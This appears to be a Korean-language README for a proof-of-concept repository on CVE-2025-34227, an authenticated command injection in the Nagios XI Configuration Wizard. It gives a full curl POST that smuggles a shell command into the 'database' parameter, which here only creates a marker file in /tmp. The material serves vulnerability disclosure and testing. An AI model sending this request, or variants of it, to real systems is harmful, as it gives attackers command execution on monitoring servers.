
CVE-2025-34227 Nagios XI Configuration Wizard의 인증된 명령 주입 취약점에 대한 간단한 개념 증명(PoC) 저장소
Configuration Wizard의 인증된 명령 주입CVE-2025-34227에 대한 간단한 개념 증명(PoC) 저장소입니다. Nagios XI -> Configuration Wizard에서 발생하는 인증된 명령 주입 취약점입니다.
전체 분석 글: https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/
curl 개념 증명(PoC)아래의 페이로드는 database 매개변수에 포함되어 있습니다: ;touch /tmp/rceproof;.
인증 후 Cookie: nagiosxi= 세션 ID를 추가하고 POST 본문에 nsp 값을 포함하세요:
$ curl -s \
-H 'Cookie: nagiosxi=<your-session-id-here>' \
--data 'update=1&nsp=<your-nsp-value-here>&step=3&nextstep=5&wizard=mysqlquery&tpl=&hostname=localhost&operation=&selectedhostconfig=&services_serial=&serviceargs_serial=&config_serial=&ip_address=127.0.0.1&port=3306&username=test&password=test&database=information_schema%3Btouch+/tmp/rceproof%3B&queryname=curl+RCE+service&query=SELECT+1&warning=50&check_interval=1&retry_interval=1&critical=200&finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php